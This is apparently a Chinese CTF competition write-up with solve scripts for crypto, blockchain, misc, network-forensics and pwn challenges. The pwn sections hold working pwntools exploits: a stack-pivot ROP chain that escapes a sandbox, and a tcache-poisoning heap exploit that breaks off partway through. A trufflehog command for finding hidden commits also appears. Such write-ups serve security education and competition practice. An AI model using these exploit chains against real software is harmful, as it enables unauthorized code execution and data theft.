es = [271264973728317298627822473902975461834475616151421882685140849409171660245987005602120200976835072966082573357282000859946014645129524701781302678299643424924092704444611429422064341444927220441684375194952864825982915148126084102832224731498348832396834993134927447743362540828447462072582023959357845229307404791804881057335208287771899121154533179273274029972648764343120454360366227609296867085751393693129946684282269737380796082741762647814800935844443493, 1003585299728442138241618739786172474341836074346983356412903232651178484164007865852681323340512406956827176253325249434459143223478630158795320316445722303141000749369087588146876087005139101967705654538148200848735795226715484701026716263131990473014248826031226350016169675911701420383849573743077161936130739955632072650333006768068396767746102320645544271946493533626477749495460960365939362830334782483616521427745117179433129272929291131199903349977861093, 528794486797786998573050589647661205854628331390578568482905276781799068613879068393786314280307765489986817827366340249545226369795434498075653554440390174127680889163962386407937584138342055553885382937486807537913781141805602397908008361192107987266566035872632130183102501118938531330140154852996630732644530954025739132771439783366022539476194754352734861357158197716623228211860189868592877935421689151152269864018399507621324672725433395533000425391708101, 63082374875671578481986217433413118060930080658278695174993640397998104913203950822096713822227514918774669078130439943184022889683633824002111416144422250644695809731240622289790840695469043596475009958463780096705571401137513331089894183226911665633164170027318352120002851940432163291498705806239158684141492080194438572549164494596965748695244152843943149994989589419519395650481254722496058552304954140980743159877918387972030837603120258130045817858729621, 120373323462979513980656435521004077312964483601298713849302793507801996545855844801219890178210569842943901523332883574699699439655256681068585396438543716728771762620808023696864023456625376138578749985774885652016790204471223404504866831356254849552890279653807176865165230965065842479979722094076544915080001416276324550993965426099480075249719779502220020343237480355441663501565965298776708377675024327374331823503627493136287447543537154779812201209689733]

ct = b'J\x08\x0c\xfe\x0eC\n\x96!\xb3\x05\xa9\x9b\xf9\n\xe3-\xf2m\xdb&.\xb5h\xe1\x0e\xd6\x89\x14\x87Z\x0b0p\xbb\xd9\x93\xd7\x1cT\xa2\xf36\x02\x8e:\\\x92'

total_sum_of_primes = 0
all_ps_tuples = []

if not ns or ns[0] == ...:
print("错误:请在脚本中填入 ns, es, ct 和 d 的实际值。")
else:
# 遍历每一对 (n, e)
for i in range(len(ns)):
n = ns[i]
e = es[i]

print(f"正在分解 n{i}: {n} ...")
factors = find_all_factors(n, e, d)

# 你的代码显示 n = p*q*r
if len(set(factors)) == 3: # 使用 set 来处理分解出相同因子的情况
p, q, r = factors
print(f"找到因子: {p}, {q}, {r}")
all_ps_tuples.append((p, q, r))
total_sum_of_primes += (p + q + r)
print(f"所有素因子的总和: {total_sum_of_primes}")

key = SHA3_512.new(str(total_sum_of_primes).encode()).digest()[:16]
print(f"计算得到的 AES 密钥 (hex): {key.hex()}")

cipher = AES.new(key, AES.MODE_ECB)
flag_padded = cipher.decrypt(ct)
flag = unpad(flag_padded, 16)
print("\n===================================")
print(f"解密成功! Flag: {flag.decode()}")
print("===================================")
#flag{9b31dd3e-aa6a-4c4d-b796-bff4e4dfe0cc}

FMS

粗略阅读代码可以知道admin用户的密码是由PRNG类对象prngchoices方法生成的,所以如果我们要获得密码的话只能先知道prng的种子是什么,观察代码中的PRNG类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
class PRNG:
def __init__(self, a=None, b=None, p=None, seed=None):
self.p = p if p else getPrime(128)
self.a = a if a else randrange(1, self.p)
self.b = b if b else randrange(0, self.p)
self.state = seed if seed else randrange(0, self.p)

def next(self):
self.state = (self.a * self.state + self.b) % self.p
return self.state

def randbytes(self, n):
out = b''
for _ in range(n):
out += bytes([self.next() % 256])
return out

def choices(self, seq, k):
return [seq[self.next() % len(seq)] for _ in range(k)]

def getPrime(self, n):
while True:
num = self.randbytes(n // 8)
p = bytes_to_long(num) | (1 << (n - 1)) | 1
if isPrime(p):
return p

def getrandbits(self, n):
num = self.randbytes((n + 7) // 8)
return bytes_to_long(num) & ((1 << n) - 1)

def __repr__(self):
return f'a = {self.a}\nb = {self.b}\np = {self.p}'

很显然可以知道,所有方法几乎都是围绕着 randbytes 实现的,而 randbytes 中每个字节的生成实际上是一个这样的递推关系:
$$Y_{n+1} = [(aX_n + b) \mod p] \mod 256$$
其中 $Y_{n+1}$ 是 randbytes 的输出,$X_n$ 是PRNG内部状态,很明显,这是Truncated LCG (截断线性同余生成器),根据同余性质实际上有:
$$X_n = Y_n + 256k_n$$
所以上述递推式实际上等价于:
$$Y_{n+1} + 256k_{n+1} \equiv a(Y_n + 256k_n) + b \pmod{p}$$
因为 $a, b$ 都会给出,所以我们如果可以收集到足够多的样本 $Y_n$ 应该有可能通过构造格 (Lattice) 或者通过一种类似求小根的方式恢复出所有 $X_n = Y_n + 256k_n$。

观察代码可以看到,每次登录的时候系统都会调用 prng.randbytes(4) 生成四个随机字节,如果我们连续登录 $n$ 次的话就可以获得 $4n$ 个prng的截断输出,从而尝试使用 CVP (最近向量问题) 相关的格攻击解方程组 $Y_{n+1} + 256k_{n+1} \equiv a(Y_n + 256k_n) + b \pmod{p}$ 得到 $k_n$,从而恢复出 seed,这样就可以恢复出 admin 的密码了,与此同时,因为我们恢复了 prng,所以加密 flag 用的 key 和 iv 也就搞到了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from Crypto.Util.number import *
from Crypto.Cipher import AES
from string import *
from pwn import *
from sage.all import *
import cuso
from main import PRNG

io = remote("pwn-fc3efcd9ef.challenge.xctf.org.cn", 9999, ssl=True)

# menu = """Flag Management System
# [L]ogin
# [G]et Public Key
# [R]ead Flag
# [E]xit"""

# 获得公钥
io.sendlineafter(b'>>> ', b'G')
io.recvuntil(b'=')
a = int(io.recvline())
io.recvuntil(b'=')
b = int(io.recvline())
io.recvuntil(b'=')
p = int(io.recvline())

def getVerify():
io.recvuntil(b'code:')
return io.recvline().strip()

Y = []
for _ in range(8):
io.sendlineafter(b'>>> ', b'L')
verify = getVerify()

Y += [int(verify[i: i+2], 16) for i in range(0, 8, 2)]

io.sendlineafter(b'Username:', b'114514')
io.sendlineafter(b'Password:', b'1919810')
io.sendlineafter(b'code:', verify)

k = [var(f'k{i}') for i in range(len(Y))]
roots = cuso.find_small_roots(relations=[a * (Y[i] + 256 * k[i]) + b - (Y[i + 1] + 256 * k[i + 1]) for i in range(len(Y) - 1)],
bounds={k[i]: (0, 2**120) for i in range(len(Y))},
modulus=[p for _ in range(len(Y) - 1)])

x0 = Y[0] + 256 * roots[0][k[0]]

for _ in range(33):
x0 = (x0 - b) * pow(a, -1, p) % p

prng = PRNG(a, b, p, x0)

password = "".join(prng.choices(ascii_letters + digits, 32))
print(f"Recovered password: {password}")

io.sendlineafter(b'>>> ', b'L')
verify = getVerify()

# 登录
io.sendlineafter(b'Username:', b'admin')
io.sendlineafter(b'Password:', password.encode())
io.sendlineafter(b'code:', verify)

io.recvuntil(b'admin')

# 判断种子是否被正确恢复
assert prng.randbytes(32) == bytes(Y)
prng.randbytes(4)

io.sendlineafter(b'>>> ', b'R')

print(AES.new(prng.randbytes(16), AES.MODE_CBC, prng.randbytes(16)).decrypt(bytes.fromhex(io.recvline().decode().strip())))

blockchain

合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
pragma solidity ^0.4.25;

contract CoinFlip {
event ConsecutiveWins(address,uint256);
uint256 public consecutiveWins;
uint256 private consecutiveWinNumber=10;
address private winer;
uint256 private lastNance;
string private key;
bool private isStart;

constructor(string memory _key) {
require(keccak256(_key)!=keccak256(""),"please input key");
consecutiveWins = 0;
key=_key;
isStart=false;
}

modifier onlyEOA() {
require(msg.sender==tx.origin,"only EOA");
_;
}

modifier verifyConsecutiveWins(){
require(isStart==true,"Game is not over");
require(consecutiveWins==consecutiveWinNumber&&winer!=address(0),"no winner");
_;
}

function flip(bool _guess) public onlyEOA returns (bool,string) {
require(isStart==false,"Game over!!");
uint256 nonce=uint256(keccak256(abi.encode(keccak256(lastNance),block.timestamp,blockhash(block.number - 1),block.difficulty,keccak256(tx.origin),keccak256(msg.sender))));
if (lastNance == nonce) {
revert();
}

lastNance = nonce;
uint256 coinFlip = uint256(uint256(nonce) % 2);
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
if (consecutiveWins==consecutiveWinNumber){
winer=msg.sender;
emit ConsecutiveWins(msg.sender,consecutiveWinNumber);
isStart=true;
return (true,key);
}
return (true,"");
} else {
consecutiveWins = 0;
return (false,"");
}
}
function verify() verifyConsecutiveWins public view returns(address,uint256,string) {
return (winer,consecutiveWinNumber,key);
}
}

可以看到下一次正反是由上一次的 nonce 以及 block 自己的属性等生成的,但是只猜 10 次,所以可以大力出奇迹

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
import random
from time import sleep
import requests
import json

url = "http://127.0.0.1:3000/api/trans/handle"
headers = {
"Origin": "http://127.0.0.1:3000",
"sec-ch-ua-mobile": "?0",
"Sec-Fetch-Site": "same-origin",
"Accept-Language": "en-GB,en-US;q=0.9,en;q=0.8",
"sec-ch-ua-platform": '"Windows"',
"Content-Type": "application/json",
"Accept": "*/*",
"Referer": "http://127.0.0.1:3000/",
"Accept-Encoding": "gzip, deflate, br, zstd",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Dest": "empty",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36",
"sec-ch-ua": '"Google Chrome";v="141", "Not?A_Brand";v="8", "Chromium";v="141"'
}

def send_guess(b):
data = {
"groupId": "1",
"user": "0x9908bd276177e5b8f87c68e8d0097eab1959023d",
"contractName": "CoinFlip",
"contractPath": "/",
"version": "",
"funcName": "flip",
"funcParam": [b],
"contractAddress": "0x27f714e5ac1370580776803bae02dd2fb6ddb8f6",
"contractAbi": [
{
"constant": False,
"inputs": [{"name": "_guess", "type": "bool"}],
"name": "flip",
"outputs": [{"name": "", "type": "bool"}, {"name": "", "type": "string"}],
"payable": False,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": True,
"inputs": [],
"name": "consecutiveWins",
"outputs": [{"name": "", "type": "uint256"}],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [],
"name": "verify",
"outputs": [{"name": "", "type": "address"}, {"name": "", "type": "uint256"},
{"name": "", "type": "string"}],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"inputs": [{"name": "_key", "type": "string"}],
"payable": False,
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"anonymous": False,
"inputs": [{"indexed": False, "name": "", "type": "address"},
{"indexed": False, "name": "", "type": "uint256"}],
"name": "ConsecutiveWins",
"type": "event"
}
]
}

response = requests.post(url, data=json.dumps(data), headers=headers)
return response.status_code, response.text

def get_num():
data = {
"groupId": "1",
"user": "0x9908bd276177e5b8f87c68e8d0097eab1959023d",
"contractName": "CoinFlip",
"contractPath": "/",
"version": "",
"funcName": "consecutiveWins",
"funcParam": [],
"contractAddress": "0x27f714e5ac1370580776803bae02dd2fb6ddb8f6",
"contractAbi": [
{
"constant": False,
"inputs": [{"name": "_guess", "type": "bool"}],
"name": "flip",
"outputs": [{"name": "", "type": "bool"}, {"name": "", "type": "string"}],
"payable": False,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": True,
"inputs": [],
"name": "consecutiveWins",
"outputs": [{"name": "", "type": "uint256"}],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"constant": True,
"inputs": [],
"name": "verify",
"outputs": [{"name": "", "type": "address"}, {"name": "", "type": "uint256"},
{"name": "", "type": "string"}],
"payable": False,
"stateMutability": "view",
"type": "function"
},
{
"inputs": [{"name": "_key", "type": "string"}],
"payable": False,
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"anonymous": False,
"inputs": [{"indexed": False, "name": "", "type": "address"},
{"indexed": False, "name": "", "type": "uint256"}],
"name": "ConsecutiveWins",
"type": "event"
}
]
}

response = requests.post(url, data=json.dumps(data), headers=headers)
return response.status_code, response.text


while True:
try:
_, n = get_num()
n = int(eval(n)[0])
if n > 0:
if n == 1:
print()
print(n, end=" ")
if n == 10:
break
send_guess(random.choice([True, False]))
except Exception as e:
sleep(2)

img

拿到密文是

1
buiqhrvilHwigdClBuiTucduZnXmrLoHleieggbawsgsgcAyaFekhqWmAvqTocwhBuiiARfyurergyhNprwePcHcurmQsmGmqopirdhliaWpdRwIvhRphqgNproiBgGevBaRwfsyifiAlRvQpvglwfsemLQeBzswpnrkhbwmiAsXkcFjWvrXlLtuDbVsiRvyiqStWgcHwsxlLqqilrfCwfCmmqiWlPwhogSxuybMuvXmPncLbnrxPcGmitiWzgHbWhxXkcgfQtlxhQhxiakiUmtNprmvPcGmitiWecWhoeiegzMjWymxlaofwefyVgbyaFvmYyzmmGg

用在线网站爆破密钥

img

flag{ineedyou}

Misc

Ciallo_Encrypt

日志中base64解码恢复内容

1
2
5qC45b+D5Luj56CB5oiR5bey5bCG5YW25pS+6L+b5LqGZm9ya+eahOengeS6uuS7k+W6k+mHjA==
核心代码我已将其放进了fork的私人仓库里

去github上查找对应的项目,给出了app的基本代码,去commit发现账户对应的用户和密码要求

img

在issue里提到了qq,简单处理得到

1
2
3517508570@qq.com
f42e16b836b22e83fd3818b603c75dc6

进去发现有个历史存档的信息,需要尝试解密,根据一开始的提示,需要爆破一下隐藏的commit拿到加密的代码

1
2
EXPORT GITHUB_TOKEN=ghp_Jk...
./trufflehog github-experimental --repo https://github.com/Yu2ul0ver/Ciallo_Encrypt0r.git --object-discovery

img

随机访问一个拿到加密逻辑

img

带上密文和时间戳给ai写解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import hashlib
import base64


def ciallo_decrypt(encoded_text, timestamp):

print(f"时间戳: {timestamp}")

patterns = encoded_text.strip().split(' ')
binary = ''

for pattern in patterns:
if not pattern:
continue

# 基准模板: Ciallo~(∠・ω<)⌒★
bits = ['0'] * 8

# bit[0]: pattern[1]=='1' -> 1
bits[0] = '1' if pattern[1] == '1' else '0'

# bit[1]: pattern[2]=='@' -> 0, 否则 1
bits[1] = '0' if pattern[2] == '@' else '1'

# bit[2]: pattern[3]=='1' -> 1
bits[2] = '1' if pattern[3] == '1' else '0'

# bit[3]: pattern[4]=='1' -> 1
bits[3] = '1' if pattern[4] == '1' else '0'

# bit[4]: pattern[5]=='0' -> 0, 否则 1
bits[4] = '0' if pattern[5] == '0' else '1'

# bit[5]: pattern[6]=='一' -> 1
bits[5] = '1' if pattern[6] == '一' else '0'

# bit[6:8]: 根据位置 8,9,10 判断
if pattern[9] == '°':
bits[6], bits[7] = '0', '0'
elif pattern[8] == '2':
bits[6], bits[7] = '1', '0'
elif pattern[10] == 'w':
bits[6], bits[7] = '1', '1'
else:
bits[6], bits[7] = '0', '1'

binary += ''.join(bits)

print(f"二进制长度: {len(binary)}")

# 第二步:二进制 -> UTF-8 字节
utf8_bytes = bytearray()
for i in range(0, len(binary), 8):
byte_str = binary[i:i + 8]
if len(byte_str) == 8:
utf8_bytes.append(int(byte_str, 2))

# 第三步:UTF-8 解码 -> Base64
base64_str = utf8_bytes.decode('utf-8')
print(f"Base64: {base64_str}")

# 第四步:Base64 解码 -> AES 密文
ciphertext = base64.b64decode(base64_str)
print(f"AES 密文长度: {len(ciphertext)} 字节")

# 第五步:生成密钥并 AES-ECB 解密
ts_str = str(timestamp)
key = hashlib.md5(ts_str.encode()).digest()
print(f"密钥 (MD5 of '{ts_str}'): {key.hex()}")

cipher = AES.new(key, AES.MODE_ECB)
plaintext_padded = cipher.decrypt(ciphertext)
plaintext = unpad(plaintext_padded, AES.block_size)

return plaintext.decode('utf-8')


# 密文
ciphertext = """Cia110~(∠・ω<)⌒★ Ciall0~(∠・w<)⌒★ Cial10~(∠・ω<)⌒★ Ciall0~(∠・w<)⌒★ Cial10~(2・ω<)⌒★ Ci@110~(∠・ω<)⌒★ Cia11o~(∠・ω<)⌒★ Ci@110一(∠・ω<)⌒★ Cia11o~(∠・ω<)⌒★ Cial10~(∠・ω<)⌒★ Cia11o~(∠・ω<)⌒★ Ciall0~(∠・ω<)⌒★ Cia11o~(∠°ω<)⌒★ Cial10一(∠・w<)⌒★ Ci@11o~(∠・ω<)⌒★ Cial1o~(∠・ω<)⌒★ Cial10一(∠°ω<)⌒★ Cia1l0一(∠・ω<)⌒★ Cial1o~(2・ω<)⌒★ Cial10~(∠・w<)⌒★ Ciallo一(2・ω<)⌒★ Cial1o~(2・ω<)⌒★ Cial10~(2・ω<)⌒★ Cia110~(∠・ω<)⌒★ Ciall0~(∠・w<)⌒★ Ci@110~(∠・w<)⌒★ Cia110~(2・ω<)⌒★ Ci@11o~(∠・ω<)⌒★ Ciall0一(∠°ω<)⌒★ Cial10~(∠・w<)⌒★ Ciallo一(∠・w<)⌒★ Cial10~(∠・w<)⌒★ Ci@1lo~(∠・w<)⌒★ Cia1lo一(∠・w<)⌒★ Ci@110~(∠°ω<)⌒★ Cia110~(∠°ω<)⌒★ Ci@110一(∠°ω<)⌒★ Ci@110一(∠・ω<)⌒★ Cial1o~(∠・ω<)⌒★ Cial10一(2・ω<)⌒★ Cia11o~(∠・ω<)⌒★ Cia110~(∠・ω<)⌒★ Ci@110~(2・ω<)⌒★ Cia1l0~(2・ω<)⌒★ Cia1lo~(2・ω<)⌒★ Cia110一(2・ω<)⌒★ Ciallo~(∠・ω<)⌒★ Cia1lo一(∠°ω<)⌒★ Ciallo~(∠・ω<)⌒★ Cial10~(2・ω<)⌒★ Ciall0~(∠・w<)⌒★ Ciall0~(∠・w<)⌒★ Cia1l0一(∠°ω<)⌒★ Cia110~(∠・w<)⌒★ Cial10一(∠・w<)⌒★ Cia1l0~(∠・ω<)⌒★ Cia1lo~(∠°ω<)⌒★ Cia110一(2・ω<)⌒★ Ciallo~(∠・ω<)⌒★ Ci@110~(2・ω<)⌒★ Ci@110一(∠・ω<)⌒★ Ci@1lo~(∠・w<)⌒★ Cia1l0一(∠°ω<)⌒★ Ciall0~(∠・w<)⌒★"""

# 时间: 2025-10-16 02:27:33 (北京时间)
# Unix 时间戳
timestamp = 1760552853

print("=" * 70)
print("开始解密...")
print("=" * 70)

try:
result = ciallo_decrypt(ciphertext, timestamp)
print("=" * 70)
print("✓ 解密成功!")
print("=" * 70)
print(f"明文: {result}")
print("=" * 70)
except Exception as e:
print(f"✗ 解密失败: {e}")
import traceback

traceback.print_exc()

#flag{9f08699d-1b6c-471e-9ed0-86dbf3ee8074}

低空经济网络安全

The Hidden Link

全是udp的流量,wirkshark简单的手动分析一下在

img

类似这样B后面有明文,且刚好能拼成正常的flag的内容,手动补填一下

1
2
3
4
5
6
7
8
9
...Bk3d}.
...Bll3r.
...BflagJ
...B{dr0.
...Bt_c0:
...Bntr0.
...B_h4c!
...Bn3_f
...Bl1gh.

是乱序简单的拼接一下就能得到flag

1
flag{dr0n3_fl1ght_c0ntr0ll3r_h4ck3d}

Pwn

stack

img

img

sub_401354控制好输入可以泄漏rbp的栈地址。

sub_4013B9存在大量栈溢出。

在sub_4013B9中调试发现栈上存在libc地址:

img

我们可以通过合理控制rbp回到sub_401354来泄漏libc地址0x75ae10429d90然后顺便回到main函数0x401413,但是这样下一次printf会出现栈对齐问题,所以我们需要栈迁移一次避免调用main函数,而是直接调用sub_401354的read部分。

这样通过合理构造rbp完成栈上的栈迁移,通过sub_401354自带的printf将libc打印出来,然后接上一个sub_4013B9的read部分,再绕开沙盒执行orw即可获得flag:

img

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from pwn import *
#from ctypes import *

def stre(a) : return str(a).encode()
def ph(a,b="addr") : print(b+": "+hex(a))
def re(a) : return p.recv(a)
def pre(a) : print(p.recv(a))
def reu(a,b=False) : return p.recvuntil(a,drop=b)
def rel() : return p.recvline()
def se(a) : p.send(a)
def sea(a,b) : p.sendafter(a,b)
def sel(a) : p.sendline(a)
def sela(a,b) : p.sendlineafter(a,b)
def op() : p.interactive()
def cp() : p.close()
def raddr64() : return u64(p.recv(6).ljust(8,b'\x00'))
def raddr32() : return u32(p.recv(4))
def raddr_T() : return int(re(14),16)
def raddr_A() : return int(reu(b"-",True),16)
def orw_rop64(pop_rdi,pop_rsi,pop_rdx,flag_addr,open_addr,read_addr,write_addr):
orw = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
orw+= p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30)
orw+= p64(read_addr)
orw+= p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30)
orw+= p64(write_addr)
return orw
def getorw(name,buf,Arch) :
sh=shellcraft.open(name)
sh+=shellcraft.read(3,buf,0x30)
sh+=shellcraft.write(1,buf,0x30)
sh=asm(sh,arch=Arch)
return sh
def gdbp(p,a='') :
if a!='':
gdb.attach(p,a)
pause()
else :
gdb.attach(p)
pause()

p = remote("pwn-8362e3425a.challenge.xctf.org.cn", 9999, ssl=True)
#p = process("./pwn")
#elf = ELF("./pwn")
#libc = ELF("./libc.so.6")
#lib = cdll.LoadLibrary(None)

#loadsym = "glibc-debug --reload-symbols /home/zlsf/sysset/glibc-all-in-one/libs/2.41-6ubuntu1.1_amd64"
#code_addr = " ./glibc-2.41.tar.gz --force"

#p = process(["qemu-mipsel-static","-g", "9999","-L","./","./pwn"])
#p = process(["qemu-mipsel-static","-L","./","./pwn"])

#context.log_level = 'debug'
#context.arch = 'amd64'
#context.os = 'linux'
#elf.arch , elf.so

payload = b"A"*0x10
sea(b"name?\n", payload)
reu(b", ")
reu(b"A"*0x10)
stack = raddr64()
ph(stack, "stack")

payload = b"A"*0x60 + p64(stack+0x70) + p64(0x4013D4)
sea(b"?\n", payload)

sleep(0.1)

payload = p64(stack) + p64(0x4013D4)
payload = payload.ljust(0x60, b"\x00")
payload+= p64(stack+0x10) + p64(0x401385)
se(payload)

sleep(0.1)
payload = b"A"*0x8
se(payload)

sleep(0.1)

reu(b", ")
reu(b"A"*0x8)
libc_base = raddr64() - 0x29d90
ph(libc_base, "libc_base")

pop_rdi = libc_base + 0x2a3e5
pop_rsi = libc_base + 0x2be51
pop_rax_rdx_rbx = libc_base + 0x904a8
syscall = libc_base + 0x91316
flag_addr = stack + 0xF0

payload = b"A"*0x60 + p64(stack)
payload+= b"A"*0x10 + p64(pop_rdi) + p64(0xFFFFFFFFFFFFFF9C) + p64(pop_rsi) + p64(flag_addr)
payload+= p64(pop_rax_rdx_rbx) + p64(257) + p64(0) + p64(0) + p64(syscall) + p64(pop_rdi) + p64(3) + p64(pop_rsi)
payload+= p64(flag_addr) + p64(pop_rax_rdx_rbx) + p64(0) + p64(0x30) + p64(0)
payload+= p64(syscall) + p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr)
payload+= p64(pop_rax_rdx_rbx) + p64(1) + p64(0x30) + p64(0) + p64(syscall) + b"flag\x00\x00\x00\x00"
print(hex(len(payload)))
se(payload)

op()

flag:

img

PinNote

看了一圈没看出问题,直到测这个 tmp/pin* 文件

img

如果两个进程同时指向一个文件,就可以篡改size,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
from pwn import *
#from ctypes import CDLL
#cdl = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
s = lambda x : io.send(x)
sa = lambda x,y : io.sendafter(x,y)
sl = lambda x : io.sendline(x)
sla = lambda x,y : io.sendlineafter(x,y)
r = lambda x : io.recv(x)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
itr = lambda : io.interactive()
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
ls = lambda x : log.success(x)
lss = lambda x : ls('\033[1;31;40m%s -> 0x%x \033[0m' % (x, eval(x)))

attack = '1.1.11 123'.replace(' ',':')
binary = './pin_note'

def start(argv=[], *a, **kw):
if args.GDB:return gdb.debug(binary,gdbscript)
if args.TAG:return remote(*args.TAG.split(':'),ssl=True)
if args.REM:return remote(*attack.split(':'))
return process([binary] + argv, *a, **kw)

#context(arch='amd64', log_level = 'debug')
context(binary = binary, log_level = 'debug',
terminal='tmux splitw -h -l 170'.split(' '))
libc = context.binary.libc
elf = ELF(binary)
#print(context.binary.libs)
#libc = ELF('./libc.so.6')
#import socks
#context.proxy = (socks.SOCKS5, '192.168.31.251', 10808)
gdbscript = '''
brva 0x02814
brva 0x024F9
brva 0x02A01
#continue
'''.format(**locals())
#import os
#os.systimport os
#io = remote(*attack.split(':'))
#io = start([])
#p = start([])
io = remote("pwn-ba8fe96c99.challenge.xctf.org.cn", 9999, ssl=True)
p = remote("pwn-ba8fe96c99.challenge.xctf.org.cn", 9999, ssl=True)
def sc_pwd(pwd):
ru('select: ')
sl('1')
ru('rs): ')
sl(pwd)

def note():
ru('select: ')
sl('2')

def add(size):
ru('$> ')
sl('add')
ru('note: ')
sl(str(size))

def edit(idx,size,text='123',y=1):
ru('$> ')
sl('edit')
ru('edit: ')
sl(str(idx))
ru('newsize: ')
sl(str(size))
ru('(y/n): ')
if y==1:
sl('y')
ru('note: ')
s(text)
else:
sl('n')

def show(idx):
ru('$> ')
sl('show')
ru('show: ')
sl(str(idx))

def rm(idx):
ru('$> ')
sl('del')
ru('delete: ')
sl(str(idx))

pwd = 'M'
sc_pwd(pwd)

note()

add(0x500)
add(0x100)

rm(0)

add(0x100)
show(0)
ru('Content: ')
libc_base = uu64(r(6)) - 0x21b110
libc.address = libc_base
lss('libc_base')

add(0x3f0)

add(0x108)
add(0x108)
rm(3)
add(0x108)
show(3)
ru('Content: ')
key = uu64(r(5))
heap_base = key << 0xC
lss('key')
lss('heap_base')
add(0x108)

p.recvuntil('select: ')
p.sendline('1')
p.recvuntil('rs): ')
p.sendline(pwd)

p.recvuntil('select: ')
p.sendline('2')

for i in range(6):
p.recvuntil('$> ')
p.sendline('add')
p.recvuntil('note: ')
p.sendline(str(0x200))

rm(5)
rm(4)
pay = b'A' * 0x108
pay += p64(0x111)
pay += p64(key ^ (heap_base + 0x2a0))

edit(3,0x200,pay)

add(0x108)
add(0x108)

environ = libc.sym['environ']
pay = p64(0x41) + p64(environ)
edit(5,0x100,pay)

show(0)
ru('Content: ')
stack = uu64(r(6))
lss('stack')

t1 = stack - 0x2b0
pay = p64(0x41) + p64(t1)
edit(5,0x100,pay)

#gdb.attach(io,gdbscript)

libc_rop = ROP(libc)
rax = libc_rop.find_gadget(['pop rax','ret'])[0]
rdi = libc_rop.find_gadget(['pop rdi','ret'])[0]
rsi = libc_rop.find_gadget(['pop rsi','ret'])[0]
m = 0
rdx = libc_base + 0x00000000000a85a9 # pop rdx ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
m = 3
#rdx = libc_rop.find_gadget(['pop rdx','pop rbx','ret'])[0]; m = 2
syscall = libc_rop.find_gadget(['syscall','ret'])[0]

orw_rop_addr = t1 # ret to addr
buf = orw_rop_addr + 0xa0 + m*3*8
orw_rop = p64(rdi) + p64(0x10000000000000000-100) + p64(rsi) + p64(buf) + p64(rdx) + p64(0)*m + p64(rax) + p64(257) + p64(syscall)
orw_rop += p64(rdi) + p64(3) + p64(rsi) + p64(buf) + p64(rdx) + p64(0x100)*m + p64(libc.sym['read'])
